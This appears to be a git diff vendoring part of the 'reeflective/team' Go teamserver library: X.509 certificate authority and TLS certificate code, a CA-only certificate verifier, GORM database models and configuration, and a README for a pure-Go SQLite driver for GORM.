number + serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), serialNumberLen) + serialNumber, _ := rand.Int(rand.Reader, serialNumberLimit) + c.log.Debugf("Serial Number: %d", serialNumber) + + keyUsage := x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature + var extKeyUsage []x509.ExtKeyUsage + + switch { + case isCA: + c.log.Debugf("Authority certificate") + + keyUsage = x509.KeyUsageCertSign | x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature + extKeyUsage = []x509.ExtKeyUsage{ + x509.ExtKeyUsageServerAuth, + x509.ExtKeyUsageClientAuth, + } + case isClient: + c.log.Debugf("Client authentication certificate") + + extKeyUsage = []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth} + default: + c.log.Debugf("Server authentication certificate") + + extKeyUsage = []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth} + } + + c.log.Debugf("ExtKeyUsage = %v", extKeyUsage) + + // Certificate template + template := x509.Certificate{ + SerialNumber: serialNumber, + Subject: subject, + NotBefore: notBefore, + NotAfter: notAfter, + KeyUsage: keyUsage, + ExtKeyUsage: extKeyUsage, + BasicConstraintsValid: isCA, + } + + if !isClient { + // Host or IP address + if ip := net.ParseIP(subject.CommonName); ip != nil { + c.log.Debugf("Certificate authenticates IP address: %v", ip) + template.IPAddresses = append(template.IPAddresses, ip) + } else { + c.log.Debugf("Certificate authenticates host: %v", subject.CommonName) + template.DNSNames = append(template.DNSNames, subject.CommonName) + } + } else { + c.log.Debugf("Client certificate authenticates CN: %v", subject.CommonName) + } + + // Sign certificate or self-sign if CA + var certErr error + var derBytes []byte + + if isCA { + c.log.Debugf("Certificate is an AUTHORITY") + + template.IsCA = true + template.KeyUsage |= x509.KeyUsageCertSign + derBytes, certErr = x509.CreateCertificate(rand.Reader, &template, &template, publicKey(privateKey), privateKey) + } else { + caCert, caKey, err := c.getCA(caType) // Sign the new certificate with our CA + if err != nil { + c.log.Fatalf("Invalid ca type (%s): %s", caType, err) + } + derBytes, certErr = x509.CreateCertificate(rand.Reader, &template, caCert, publicKey(privateKey), caKey) + } + + if certErr != nil { + // We maybe don't want this to be fatal, but it should basically never happen afaik + c.log.Fatalf("Failed to create certificate: %s", certErr) + } + + // Encode certificate and key + certOut := bytes.NewBuffer([]byte{}) + pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: derBytes}) + + keyOut := bytes.NewBuffer([]byte{}) + pem.Encode(keyOut, c.pemBlockForKey(privateKey)) + + return certOut.Bytes(), keyOut.Bytes() +} + +func (c *Manager) saveCertificate(caType string, keyType string, commonName string, cert []byte, key []byte) error { + if keyType != ECCKey && keyType != RSAKey { + return fmt.Errorf("Invalid key type '%s'", keyType) + } + + c.log.Infof("Saving certificate for cn = '%s'", commonName) + + certModel := &db.Certificate{ + CommonName: commonName, + CAType: caType, + KeyType: keyType, + CertificatePEM: string(cert), + PrivateKeyPEM: string(key), + } + + result := c.db().Create(&certModel) + + return result.Error +} + +// getCertDir returns the directory (and makes it if needed) for writing certificate backups. +func (c *Manager) getCertDir() string { + rootDir := c.appDir + certDir := filepath.Join(rootDir, "certs") + + err := c.fs.MkdirAll(certDir, assets.DirPerm) + if err != nil { + c.log.Fatalf("Failed to create cert dir: %s", err) + } + + return certDir +} + +func (c *Manager) pemBlockForKey(priv interface{}) *pem.Block { + switch key := priv.(type) { + case *rsa.PrivateKey: + data := x509.MarshalPKCS1PrivateKey(key) + return &pem.Block{Type: "RSA PRIVATE KEY", Bytes: data} + case *ecdsa.PrivateKey: + data, err := x509.MarshalECPrivateKey(key) + if err != nil { + c.log.Fatalf("Unable to marshal ECDSA private key: %v", err) + } + + return &pem.Block{Type: "EC PRIVATE KEY", Bytes: data} + default: + return nil + } +} + +func publicKey(priv interface{}) interface{} { + switch k := priv.(type) { + case *rsa.PrivateKey: + return &k.PublicKey + case *ecdsa.PrivateKey: + return &k.PublicKey + default: + return nil + } +} + +func randomInt(max int) int { + intLen := 4 + buf := make([]byte, intLen) + rand.Read(buf) + i := binary.LittleEndian.Uint32(buf) + + return int(i) % max +} + +func randomValidFor() time.Duration { + validFor := validForYears * (daysInYear * hoursInDay * time.Hour) + + switch insecureRand.Intn(2) { + case 0: + validFor = (validForYears - 1) * (daysInYear * hoursInDay * time.Hour) + case 1: + validFor = validForYears * (daysInYear * hoursInDay * time.Hour) + } + + return validFor +} + +func rsaKeySize() int { + rsaKeySizes := []int{4096, 2048} + return rsaKeySizes[randomInt(len(rsaKeySizes))] +} diff --git a/vendor/github.com/reeflective/team/internal/certs/tls.go b/vendor/github.com/reeflective/team/internal/certs/tls.go new file mode 100644 index 0000000000..9064745ba2 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/certs/tls.go @@ -0,0 +1,88 @@ +package certs + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "crypto/x509" + "fmt" + "log" + "os" + + "github.com/reeflective/team/internal/assets" +) + +const ( + // DefaultPort is the default team.Server listening port. + // Should be 31415, but... go to hell with your endless limits. + DefaultPort = 31416 +) + +// OpenTLSKeyLogFile returns an open file to the TLS keys log file, +// if the environment variable SSLKEYLOGFILE is defined. +func (c *Manager) OpenTLSKeyLogFile() *os.File { + keyFilePath, present := os.LookupEnv("SSLKEYLOGFILE") + if present { + keyFile, err := os.OpenFile(keyFilePath, assets.FileWriteOpenMode, assets.FileReadPerm) + if err != nil { + c.log.Errorf("Failed to open TLS key file %v", err) + return nil + } + + c.log.Warnf("NOTICE: TLS Keys logged to '%s'\n", keyFilePath) + + return keyFile + } + + return nil +} + +// RootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so +// we have to disable all of the certificate validation and re-implement everything. +// https://github.com/golang/go/issues/21971 +func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error { + roots := x509.NewCertPool() + + ok := roots.AppendCertsFromPEM([]byte(caCertificate)) + if !ok { + fmt.Errorf("Failed to parse root certificate") + } + + cert, err := x509.ParseCertificate(rawCerts[0]) // We should only get one cert + if err != nil { + log.Printf("Failed to parse certificate: " + err.Error()) + return err + } + + // Basically we only care if the certificate was signed by our authority + // Go selects sensible defaults for time and EKU, basically we're only + // skipping the hostname check, I think? + options := x509.VerifyOptions{ + Roots: roots, + } + + if options.Roots == nil { + return fmt.Errorf("Certificate root is nil") + } + + if _, err := cert.Verify(options); err != nil { + return fmt.Errorf("Failed to verify certificate: " + err.Error()) + } + + return nil +} diff --git a/vendor/github.com/reeflective/team/internal/certs/users.go b/vendor/github.com/reeflective/team/internal/certs/users.go new file mode 100644 index 0000000000..b0fed17776 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/certs/users.go @@ -0,0 +1,100 @@ +package certs + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "crypto/x509" + "encoding/pem" + "fmt" + + "github.com/reeflective/team/internal/db" +) + +const ( + // userCA - Directory containing user certificates. + userCA = "user" + + clientNamespace = "client" // User clients + serverNamespace = "server" // User servers + userCertHostname = "teamusers" // Hostname used on certificate +) + +// UserClientGenerateCertificate - Generate a certificate signed with a given CA. +func (c *Manager) UserClientGenerateCertificate(user string) ([]byte, []byte, error) { + cert, key := c.GenerateECCCertificate(userCA, user, false, true) + err := c.saveCertificate(userCA, ECCKey, fmt.Sprintf("%s.%s", clientNamespace, user), cert, key) + + return cert, key, err +} + +// UserClientGetCertificate - Helper function to fetch a client cert. +func (c *Manager) UserClientGetCertificate(user string) ([]byte, []byte, error) { + return c.GetECCCertificate(userCA, fmt.Sprintf("%s.%s", clientNamespace, user)) +} + +// UserClientRemoveCertificate - Helper function to remove a client cert. +func (c *Manager) UserClientRemoveCertificate(user string) error { + return c.RemoveCertificate(userCA, ECCKey, fmt.Sprintf("%s.%s", clientNamespace, user)) +} + +// UserServerGetCertificate - Helper function to fetch a server cert. +func (c *Manager) UserServerGetCertificate() ([]byte, []byte, error) { + return c.GetECCCertificate(userCA, fmt.Sprintf("%s.%s", serverNamespace, userCertHostname)) +} + +// UserServerGenerateCertificate - Generate a certificate signed with a given CA. +func (c *Manager) UserServerGenerateCertificate() ([]byte, []byte, error) { + cert, key := c.GenerateECCCertificate(userCA, userCertHostname, false, false) + err := c.saveCertificate(userCA, ECCKey, fmt.Sprintf("%s.%s", serverNamespace, userCertHostname), cert, key) + + return cert, key, err +} + +// UserClientListCertificates - Get all client certificates. +func (c *Manager) UserClientListCertificates() []*x509.Certificate { + userCerts := []*db.Certificate{} + + result := c.db().Where(&db.Certificate{CAType: userCA}).Find(&userCerts) + if result.Error != nil { + c.log.Error(result.Error) + return []*x509.Certificate{} + } + + c.log.Infof("Found %d user certs ...", len(userCerts)) + + certs := []*x509.Certificate{} + + for _, user := range userCerts { + block, _ := pem.Decode([]byte(user.CertificatePEM)) + if block == nil { + c.log.Warn("failed to parse certificate PEM") + continue + } + + cert, err := x509.ParseCertificate(block.Bytes) + if err != nil { + c.log.Warnf("failed to parse x.509 certificate %v", err) + continue + } + + certs = append(certs, cert) + } + + return certs +} diff --git a/vendor/github.com/reeflective/team/internal/command/command.go b/vendor/github.com/reeflective/team/internal/command/command.go new file mode 100644 index 0000000000..9718ae7e41 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/command/command.go @@ -0,0 +1,114 @@ +package command + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "github.com/jedib0t/go-pretty/v6/table" + "github.com/jedib0t/go-pretty/v6/text" + "github.com/spf13/cobra" +) + +type ( + // CobraRunnerE is a cobra runner returning an error. + CobraRunnerE func(*cobra.Command, []string) error + // CobraRunner is a cobra runner returning nothing. + CobraRunner func(*cobra.Command, []string) +) + +const ( + // ClientConfigExt is the client remote server config file extension. + ClientConfigExt = "teamclient.cfg" + // ServerConfigExt is the server backend config file extension. + ServerConfigExt = "teamserver.json" +) + +const ( + // TeamServerGroup is the group of all server/client control commands. + TeamServerGroup = "teamserver control" + // UserManagementGroup is the group to manage teamserver users. + UserManagementGroup = "user management" +) + +// Colors / effects. +const ( + // ANSI Colors. + Normal = "\033[0m" + Black = "\033[30m" + Red = "\033[31m" + Green = "\033[32m" + Orange = "\033[33m" + Blue = "\033[34m" + Purple = "\033[35m" + Cyan = "\033[36m" + Gray = "\033[37m" + Bold = "\033[1m" + Clearln = "\r\x1b[2K" + UpN = "\033[%dA" + DownN = "\033[%dB" + Underline = "\033[4m" + + // Info - Display colorful information. + Info = Cyan + "[*] " + Normal + // Warn - warn a user. + Warn = Red + "[!] " + Normal + // Debugl - Display debugl information. + Debugl = Purple + "[-] " + Normal +) + +// TableStyle is a default table style for users and listeners. +var TableStyle = table.Style{ + Name: "TeamServerDefault", + Box: table.BoxStyle{ + BottomLeft: " ", + BottomRight: " ", + BottomSeparator: " ", + Left: " ", + LeftSeparator: " ", + MiddleHorizontal: "=", + MiddleSeparator: " ", + MiddleVertical: " ", + PaddingLeft: " ", + PaddingRight: " ", + Right: " ", + RightSeparator: " ", + TopLeft: " ", + TopRight: " ", + TopSeparator: " ", + UnfinishedRow: "~~", + }, + Color: table.ColorOptions{ + IndexColumn: text.Colors{}, + Footer: text.Colors{}, + Header: text.Colors{}, + Row: text.Colors{}, + RowAlternate: text.Colors{}, + }, + Format: table.FormatOptions{ + Footer: text.FormatDefault, + Header: text.FormatTitle, + Row: text.FormatDefault, + }, + Options: table.Options{ + DrawBorder: false, + SeparateColumns: true, + SeparateFooter: false, + SeparateHeader: true, + SeparateRows: false, + }, +} diff --git a/vendor/github.com/reeflective/team/internal/db/certificates.go b/vendor/github.com/reeflective/team/internal/db/certificates.go new file mode 100644 index 0000000000..adb9a2721e --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/certificates.go @@ -0,0 +1,47 @@ +package db + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "time" + + "github.com/gofrs/uuid" + "gorm.io/gorm" +) + +// Certificate - Certificate database model. +type Certificate struct { + ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"` + CreatedAt time.Time `gorm:"->;<-:create;"` + CommonName string + CAType string + KeyType string + CertificatePEM string + PrivateKeyPEM string +} + +// BeforeCreate - GORM hook to automatically set values. +func (c *Certificate) BeforeCreate(tx *gorm.DB) (err error) { + c.ID, err = uuid.NewV4() + if err != nil { + return err + } + c.CreatedAt = time.Now() + return nil +} diff --git a/vendor/github.com/reeflective/team/internal/db/config.go b/vendor/github.com/reeflective/team/internal/db/config.go new file mode 100644 index 0000000000..6b95e61591 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/config.go @@ -0,0 +1,93 @@ +package db + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "net/url" +) + +const ( + // Sqlite - SQLite protocol. + Sqlite = "sqlite3" + // Postgres - Postgresql protocol. + Postgres = "postgresql" + // MySQL - MySQL protocol. + MySQL = "mysql" +) + +// Config - Server database configuration. +type Config struct { + Dialect string `json:"dialect"` + Database string `json:"database"` + Username string `json:"username"` + Password string `json:"password"` + Host string `json:"host"` + Port uint16 `json:"port"` + + Params map[string]string `json:"params"` + + MaxIdleConns int `json:"max_idle_conns"` + MaxOpenConns int `json:"max_open_conns"` + + LogLevel string `json:"log_level"` +} + +// DSN - Get the db connections string +// https://github.com/go-sql-driver/mysql#examples +func (c *Config) DSN() (string, error) { + switch c.Dialect { + case Sqlite: + filePath := c.Database + params := encodeParams(c.Params) + + return fmt.Sprintf("file:%s?%s", filePath, params), nil + + case MySQL: + user := url.QueryEscape(c.Username) + password := url.QueryEscape(c.Password) + db := url.QueryEscape(c.Database) + host := fmt.Sprintf("%s:%d", url.QueryEscape(c.Host), c.Port) + params := encodeParams(c.Params) + + return fmt.Sprintf("%s:%s@tcp(%s)/%s?%s", user, password, host, db, params), nil + + case Postgres: + user := url.QueryEscape(c.Username) + password := url.QueryEscape(c.Password) + db := url.QueryEscape(c.Database) + host := url.QueryEscape(c.Host) + port := c.Port + params := encodeParams(c.Params) + + return fmt.Sprintf("host=%s port=%d user=%s password=%s dbname=%s %s", host, port, user, password, db, params), nil + + default: + return "", ErrUnsupportedDialect + } +} + +func encodeParams(rawParams map[string]string) string { + params := url.Values{} + for key, value := range rawParams { + params.Add(key, value) + } + + return params.Encode() +} diff --git a/vendor/github.com/reeflective/team/internal/db/sql-cgo.go b/vendor/github.com/reeflective/team/internal/db/sql-cgo.go new file mode 100644 index 0000000000..7c3dc6ff69 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/sql-cgo.go @@ -0,0 +1,34 @@ +//go:build cgo_sqlite + +package db + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "gorm.io/driver/sqlite" + "gorm.io/gorm" + "gorm.io/gorm/logger" +) + +func sqliteClient(dsn string, log logger.Interface) (*gorm.DB, error) { + return gorm.Open(sqlite.Open(dsn), &gorm.Config{ + PrepareStmt: true, + Logger: log, + }) +} diff --git a/vendor/github.com/reeflective/team/internal/db/sql-go.go b/vendor/github.com/reeflective/team/internal/db/sql-go.go new file mode 100644 index 0000000000..302aa0f9f2 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/sql-go.go @@ -0,0 +1,36 @@ +//go:build !(wasm_sqlite || cgo_sqlite) + +package db + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + // Embed the sqlite code into our teamserver. + _ "github.com/ncruces/go-sqlite3/embed" + "github.com/ncruces/go-sqlite3/gormlite" + "gorm.io/gorm" + "gorm.io/gorm/logger" +) + +func sqliteClient(dsn string, log logger.Interface) (*gorm.DB, error) { + return gorm.Open(gormlite.Open(dsn), &gorm.Config{ + PrepareStmt: true, + Logger: log, + }) +} diff --git a/vendor/github.com/reeflective/team/internal/db/sql-wasm.go b/vendor/github.com/reeflective/team/internal/db/sql-wasm.go new file mode 100644 index 0000000000..213b48d9fa --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/sql-wasm.go @@ -0,0 +1,41 @@ +//go:build wasm_sqlite + +package db + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + // Core code. + _ "github.com/ncruces/go-sqlite3" + // Driver code. + _ "github.com/ncruces/go-sqlite3/driver" + // Embedded SQLite instance. + _ "github.com/ncruces/go-sqlite3/embed" + "gorm.io/gorm" + "gorm.io/gorm/logger" + + "github.com/reeflective/team/internal/db/wasmsqlite" +) + +func sqliteClient(dsn string, log logger.Interface) (*gorm.DB, error) { + return gorm.Open(wasmsqlite.Open(dsn), &gorm.Config{ + PrepareStmt: true, + Logger: log, + }) +} diff --git a/vendor/github.com/reeflective/team/internal/db/sql.go b/vendor/github.com/reeflective/team/internal/db/sql.go new file mode 100644 index 0000000000..6509086a46 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/sql.go @@ -0,0 +1,134 @@ +package db + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "errors" + "fmt" + "time" + + "github.com/sirupsen/logrus" + "gorm.io/driver/mysql" + "gorm.io/driver/postgres" + "gorm.io/gorm" + "gorm.io/gorm/logger" + + "github.com/reeflective/team/internal/log" +) + +const ( + // SQLiteInMemoryHost is the default string used by SQLite + // as a host when ran in memory (string value is ":memory:"). + SQLiteInMemoryHost = ":memory:" +) + +var ( + // ErrRecordNotFound - Record not found error. + ErrRecordNotFound = gorm.ErrRecordNotFound + + // ErrUnsupportedDialect - An invalid dialect was specified. + ErrUnsupportedDialect = errors.New("Unknown/unsupported DB Dialect") +) + +// NewClient initializes a database client connection to a backend specified in config. +func NewClient(dbConfig *Config, dbLogger *logrus.Entry) (*gorm.DB, error) { + var dbClient *gorm.DB + + dsn, err := dbConfig.DSN() + if err != nil { + return nil, fmt.Errorf("Failed to marshal database DSN: %w", err) + } + + // Logging middleware (queries) + dbLog := log.NewDatabase(dbLogger, dbConfig.LogLevel) + logDbDsn := fmt.Sprintf("%s (%s:%d)", dbConfig.Database, dbConfig.Host, dbConfig.Port) + + switch dbConfig.Dialect { + case Sqlite: + dbLogger.Infof("Connecting to SQLite database %s", logDbDsn) + + dbClient, err = sqliteClient(dsn, dbLog) + if err != nil { + return nil, fmt.Errorf("Database connection failed: %w", err) + } + + case Postgres: + dbLogger.Infof("Connecting to PostgreSQL database %s", logDbDsn) + + dbClient, err = postgresClient(dsn, dbLog) + if err != nil { + return nil, fmt.Errorf("Database connection failed: %w", err) + } + + case MySQL: + dbLogger.Infof("Connecting to MySQL database %s", logDbDsn) + + dbClient, err = mySQLClient(dsn, dbLog) + if err != nil { + return nil, fmt.Errorf("Database connection failed: %w", err) + } + default: + return nil, fmt.Errorf("%w: '%s'", ErrUnsupportedDialect, dbConfig.Dialect) + } + + err = dbClient.AutoMigrate(Schema()...) + if err != nil { + dbLogger.Error(err) + } + + // Get generic database object sql.DB to use its functions + sqlDB, err := dbClient.DB() + if err != nil { + dbLogger.Error(err) + } + + // SetMaxIdleConns sets the maximum number of connections in the idle connection pool. + sqlDB.SetMaxIdleConns(dbConfig.MaxIdleConns) + + // SetMaxOpenConns sets the maximum number of open connections to the database. + sqlDB.SetMaxOpenConns(dbConfig.MaxOpenConns) + + // SetConnMaxLifetime sets the maximum amount of time a connection may be reused. + sqlDB.SetConnMaxLifetime(time.Hour) + + return dbClient, nil +} + +// Schema returns all objects which should be registered +// to the teamserver database backend. +func Schema() []any { + return []any{ + &Certificate{}, + &User{}, + } +} + +func postgresClient(dsn string, log logger.Interface) (*gorm.DB, error) { + return gorm.Open(postgres.Open(dsn), &gorm.Config{ + PrepareStmt: true, + Logger: log, + }) +} + +func mySQLClient(dsn string, log logger.Interface) (*gorm.DB, error) { + return gorm.Open(mysql.Open(dsn), &gorm.Config{ + PrepareStmt: true, + Logger: log, + }) +} diff --git a/vendor/github.com/reeflective/team/internal/db/user.go b/vendor/github.com/reeflective/team/internal/db/user.go new file mode 100644 index 0000000000..de220b7b75 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/user.go @@ -0,0 +1,47 @@ +package db + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "time" + + "github.com/gofrs/uuid" + "gorm.io/gorm" +) + +// User - A teamserver user. +type User struct { + ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"` + CreatedAt time.Time `gorm:"->;<-:create;"` + LastSeen time.Time + Name string + Token string `gorm:"uniqueIndex"` +} + +// BeforeCreate - GORM hook. +func (o *User) BeforeCreate(tx *gorm.DB) (err error) { + o.ID, err = uuid.NewV4() + if err != nil { + return err + } + + o.CreatedAt = time.Now() + + return nil +} diff --git a/vendor/github.com/reeflective/team/internal/db/wasmsqlite/License b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/License new file mode 100644 index 0000000000..037e1653e6 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/License @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) 2013-NOW Jinzhu + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/vendor/github.com/reeflective/team/internal/db/wasmsqlite/README.md b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/README.md new file mode 100644 index 0000000000..7ffa285949 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/README.md @@ -0,0 +1,56 @@ +![badge](https://img.shields.io/endpoint?url=https://gist.githubusercontent.com/glebarez/fb4d23f63d866b3e1e58b26d2f5ed01f/raw/badge-gorm-tests.json) +![badge](https://img.shields.io/endpoint?url=https://gist.githubusercontent.com/glebarez/fb4d23f63d866b3e1e58b26d2f5ed01f/raw/badge-sqlite-version.json) +
[![Hits](https://hits.seeyoufarm.com/api/count/incr/badge.svg?url=https%3A%2F%2Fgithub.com%2Fglebarez%2Fsqlite&count_bg=%2379C83D&title_bg=%23555555&icon=baidu.svg&icon_color=%23E7E7E7&title=hits&edge_flat=false)](https://hits.seeyoufarm.com) +# Pure-Go SQLite driver for GORM +Pure-go (without cgo) implementation of SQLite driver for [GORM](https://gorm.io/)

+This driver has SQLite embedded, you don't need to install one separately. + +# Usage + +```go +import ( + "github.com/glebarez/sqlite" + "gorm.io/gorm" +) + +db, err := gorm.Open(sqlite.Open("sqlite.db"), &gorm.Config{}) +``` + +### In-memory DB example +```go +db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) +``` + +### Foreign-key constraint activation +Foreign-key constraint is disabled by default in SQLite. To activate it, use connection URL parameter: +```go +db, err := gorm.Open(sqlite.Open(":memory:?_pragma=foreign_keys(1)"), &gorm.Config{}) +``` +More info: [https://www.sqlite.org/foreignkeys.html](https://www.sqlite.org/foreignkeys.html) + +# FAQ +## How is this better than standard GORM SQLite driver? +The [standard GORM driver for SQLite](https://github.com/go-gorm/sqlite) has one major drawback: it is based on a [Go-bindings of SQLite C-source](https://github.com/mattn/go-sqlite3) (this is called [cgo](https://go.dev/blog/cgo)). This fact imposes following restrictions on Go developers: +- to build and run your code, you will need a C compiler installed on a machine +- SQLite has many features that need to be enabled at compile time (e.g. [json support](https://www.sqlite.org/json1.html)). If you plan to use those, you will have to include proper build tags for every ```go``` command to work properly (```go run```, ```go test```, etc.). +- Because of C-compiler requirement, you can't build your Go code inside tiny stripped containers like (golang-alpine) +- Building on GCP is not possible because Google Cloud Platform does not allow gcc to be executed. + +**Instead**, this driver is based on pure-Go implementation of SQLite (https://gitlab.com/cznic/sqlite), which is basically an original SQLite C-source AST, translated into Go! So, you may be sure you're using the original SQLite implementation under the hood. + +## Is this tested good ? +Yes, The CI pipeline of this driver employs [whole test base](https://github.com/go-gorm/gorm/tree/master/tests) of GORM, which includes more than **12k** tests (see badge on the page-top). Testing is run against latest major releases of Go: +- 1.18 +- 1.19 + +In following environments: +- Linux +- Windows +- MacOS + +## Is it fast? +Well, it's slower than CGo implementation, but not terribly. See the [bechmark of underlying pure-Go driver vs CGo implementation](https://github.com/glebarez/go-sqlite/tree/master/benchmark). + +## Included features +- JSON1 (https://www.sqlite.org/json1.html) +- Math functions (https://www.sqlite.org/lang_mathfunc.html) diff --git a/vendor/github.com/reeflective/team/internal/db/wasmsqlite/ddlmod.go b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/ddlmod.go new file mode 100644 index 0000000000..84260800cb --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/ddlmod.go @@ -0,0 +1,234 @@ +package wasmsqlite + +import ( + "database/sql" + "errors" + "fmt" + "regexp" + "strconv" + "strings" + + "gorm.io/gorm/migrator" +) + +var ( + sqliteSeparator = "`|\"|'|\t" + indexRegexp = regexp.MustCompile(fmt.Sprintf("(?is)CREATE(?: UNIQUE)? INDEX [%v]?[\\w\\d-]+[%v]? ON (.*)$", sqliteSeparator, 